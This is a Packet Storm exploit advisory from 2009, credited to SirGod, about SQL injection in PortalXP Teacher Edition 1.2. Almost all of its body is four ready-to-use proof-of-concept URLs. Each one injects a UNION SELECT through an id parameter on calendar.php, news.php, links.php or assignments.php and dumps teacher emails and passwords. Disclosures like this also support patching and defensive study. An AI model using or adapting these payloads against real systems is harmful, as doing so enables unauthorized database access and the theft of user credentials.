PortalXP Teacher Edition 1.2 SQL Injection

2009-08-05T00:00:00
ID PACKETSTORM:79930
Type packetstorm
Reporter SirGod
Modified 2009-08-05T00:00:00

Description

                                        
                                            `###########################################################################################################################################  
[+] PortalXP - Teacher Edition 1.2 Multiple SQL Injection Vulnerabilities  
[+] Discovered By SirGod  
[+] http://insecurity-ro.org  
[+] http://h4cky0u.org  
###########################################################################################################################################  
  
[+] Download : http://sourceforge.net/projects/portalxp/files/portalxp%20-%20teacher%20edition/Version%201.2/PortalXP1-2.zip/download  
  
[+] SQL Injection  
  
- PoC's  
  
http://127.0.0.1/calendar.php?id=null+union+all+select+1,2,3,concat_ws(0x3a,email,teacherpass),5+from+teacher--  
  
http://127.0.0.1/news.php?id=null+union+all+select+1,2,3,concat_ws(0x3a,email,teacherpass),5+from+teacher--  
  
http://127.0.0.1/links.php?id=null+union+all+select+1,2,3,concat_ws(0x3a,email,teacherpass),5+from+teacher--  
  
http://127.0.0.1/assignments.php?assignment_id=1+union+all+select+1,2,3,4,concat_ws(0x3a,email,teacherpass),6,7,8,9+from+teacher--  
  
  
###########################################################################################################################################  
  
`